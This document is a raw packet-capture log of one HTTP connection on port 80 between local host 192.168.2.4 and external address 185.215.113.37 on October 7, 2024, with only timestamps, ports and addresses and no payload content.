Oct 7, 2024 21:19:19.861869097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.861902952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.861921072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.861938000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.861951113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.861972094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.861987114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.862005949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.862026930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.862040997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.862055063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.862087011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.862206936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.862256050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.862279892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.862313032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.862332106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.862349987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.862363100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.862385035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.862396955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.862423897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.862433910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.862457991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.862471104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.862493992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.862504959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.862545013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.862575054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.862607002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.862622976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.862653017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.862658024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.862689018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.862705946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.862721920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.862736940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.862756968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.862767935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.862792969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.862803936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.862827063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.862842083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.862863064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.862874985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.862911940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.984252930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.984332085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.984385967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.984421968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.984453917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.984472036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.984472036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.984472036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.984489918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.984514952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.984514952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.984540939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.984541893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.984575987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.984592915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.984608889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.984625101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.984642029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.984658003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.984694958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.984694958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.984736919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.984750032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.984778881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.984801054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.984824896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.984872103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.984925032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.984925032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.984960079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.984976053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.984992027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.985013008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.985029936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.985045910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.985059977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.985080004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.985110998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.985161066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.985208988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.985244036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.985281944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.985292912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.985331059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.985363007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.985395908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.985430956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.985446930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.985447884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.985480070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.985496998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.985515118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.985531092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.985555887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.985563040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.985588074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.985605001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.985621929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.985637903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.985667944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.985714912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.985764027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.985821962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.985856056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.985873938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.985888004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.985903978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.985934019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.985954046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.986004114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.986018896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.986052036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.986068010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.986099958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.986136913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.986169100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.986186981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.986205101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.986217976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.986253023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.986295938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.986346960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.986346960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.986396074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.986413956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.986444950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.986460924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.986478090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.986494064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.986525059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.986670017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.986701012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.986721039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.986736059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.986751080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.986763954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.986788988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.986814976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.986942053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.986974955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.986994982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.987006903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.987025976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.987044096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.987056971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.987092018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.109092951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.109118938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.109146118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.109160900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.109175920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.109177113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.109194040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.109214067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.109222889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.109222889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.109253883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.109342098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.109359980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.109375954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.109390020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.109411955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.109431982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.109565020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.109581947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.109599113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.109608889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.109622002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.109646082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.109652996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.109695911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.109697104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.109738111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.109740019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.109752893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.109770060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.109783888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.109800100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.109818935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.109819889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.109850883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.109863043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.109893084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.110007048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.110053062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.110210896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.110228062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.110243082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.110256910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.110269070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.110289097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.110352039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.110368013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.110383034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.110399008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.110419989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.110434055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.110461950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.110583067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.110599995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.110615015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.110629082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.110629082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.110642910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.110665083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.110676050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.110707998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.110723972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.110739946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.110753059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.110753059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.110770941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.110780001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.110797882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.110935926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.110953093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.110968113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.110981941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.110986948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.110997915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.111017942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.111036062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.111066103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.111082077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.111099005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.111109018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.111128092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.111145973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.111319065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.111335993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.111351013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.111366987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.111378908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.111393929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.111399889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.111416101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.111430883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.111432076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.111443043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.111463070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.111475945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.194000959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.194052935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.194089890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.194108963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.233711004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.233762980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.233819962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.233831882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.233876944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.233894110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.233894110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.233911991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.233947039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.233999968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.234042883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.234075069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.234075069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.234075069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.234075069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.234077930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.234093904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.234127998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.234132051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.234180927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.234184980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.234220982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.234237909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.234251976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.234282017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.234287024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.234309912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.234338045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.234339952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.234375000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.234385014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.234416008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.234422922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.234462976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.234463930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.234498024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.234512091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.234530926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.234548092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.234568119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.234589100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.234596968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.234612942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.234632015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.234638929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.234667063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.234680891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.234711885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.234719992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.234752893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.234767914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.234787941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.234798908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.234823942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.234833956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.234859943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.234872103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.234895945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.234913111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.234932899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.234950066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.234966040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.234975100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.235017061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.235074997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.235110998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.235121965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.235146999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.235157967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.235194921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.235214949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.235249043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.235264063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.235311031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.235316992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.235359907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.235367060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.235438108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.235450983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.235496998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.235503912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.235538006 CEST	80	49730	185.215.113.37	192.168.2.4
